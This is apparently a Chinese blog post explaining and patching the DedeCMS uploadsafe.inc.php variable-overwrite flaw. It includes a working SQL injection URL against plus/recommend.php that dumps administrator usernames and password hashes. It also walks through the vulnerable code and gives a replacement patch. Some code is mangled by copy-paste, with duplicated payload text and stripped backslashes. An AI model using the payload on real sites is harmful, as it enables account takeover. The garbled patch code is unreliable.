自从买了阿里云的ecs 之后每次出现漏洞阿里云盾就会通知,前段时间部署的项目检测出上传漏洞
根据网上大神们的博客整理了下,下面这个是可行的
dedecms上传漏洞uploadsafe.inc.php,这里整理了大神们对于这个漏洞的解释
1. 漏洞描述
1. dedecms原生提供一个"本地变量注册"的模拟实现,原则上允许黑客覆盖任意变量2. dedecms在实现本地变量注册的时候,会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理//$key值注入不在本文讨论范围内,详情参阅::
漏洞触发条件
0x1: POC1
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294?action=&aid=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=42940x2: POC2
入侵方式
1. 原始数据%27%20or%20mid=@`%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+2.URL提交进来后, 和 ’ 分别被转义成 和 ’' or mid=@`'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`3.URL被带入include/common.inc.php中检查,此步数据未发生变化4.然后来到了include/uploadsafe.inc.php中,经过第行str_replace后,被过滤成了,用于攻击闭合的单引号重新获得攻击能力$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\", "", $_FILES[$_key]['tmp_name']);' or mid=@`'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`此时引号被成功的带入了查询语句中5.回到plus/recommend.php中,第38行,此时SQL语句被拼成如下:SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='' or mid=@`'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`'` 'Relevant Link:
漏洞影响范围
4. 漏洞代码分析
从/plus/recommand.php开始逐步分析
require_once(dirname(__FILE__)."/../include/common.inc.php");../include/common.inc.php
..function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar;}..只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入引发漏洞的入口点在/include/uploadsafe.inc.php
..//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数if($_FILES){ require_once(DEDEINC.'/uploadsafe.inc.php');}../include/uploadsafe.inc.php
..//URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\","",$_FILES[$_key]['tmp_name']);${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z./]','',$_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);../plus/recommand.php
//读取文档信息if($action==''){ if($type=='sys'){ //读取文档信息 $arcRow = GetOneArchive($aid); if($arcRow['aid']=='') { ShowMsg("无法把未知文档推荐给好友!","-1"); exit(); } extract($arcRow, EXTR_OVERWRITE); } else { //注入语句被带入数据库查询, $arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `dede_member_stow` AS s LEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'"); if(!is_array($arcRow)){ ShowMsg("无法把未知文档推荐给好友!","-1"); exit(); } $arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid']; extract($arcRow, EXTR_OVERWRITE); }}5. 防御方法
/include/uploadsafe.inc.php
/* *///$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\","",$_FILES[$_key]['tmp_name']);$$_key = $_FILES[$_key]['tmp_name'];/* */${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) ){ if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); }}if(empty(${$_key.'_size'})){ ${$_key.'_size'} = @filesize($$_key);}/* 限制上传文件类型 */$imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){ $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); }}/* */文件/include/uploadsafe.inc.php。
有2个地方:
1、搜索 ${$_key.'_size'} = @filesize($$_key); }(大概在42,43行左右)
替换成
${$_key.'_size'} = @filesize($$_key);
} $imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp"); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if($image_dd == false){ continue; } if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }
2、搜索 $image_dd = @getimagesize($$_key);(大概在53行左右)
替换成
$image_dd = @getimagesize($$_key); if($image_dd == false){ continue; } 老规矩大红色地方标记了修改的地方,然后保存,接着备份原文件,比如文件名变为uploadsafe.inc.php.16.08.09.bak。然后上传修改好的文件即可。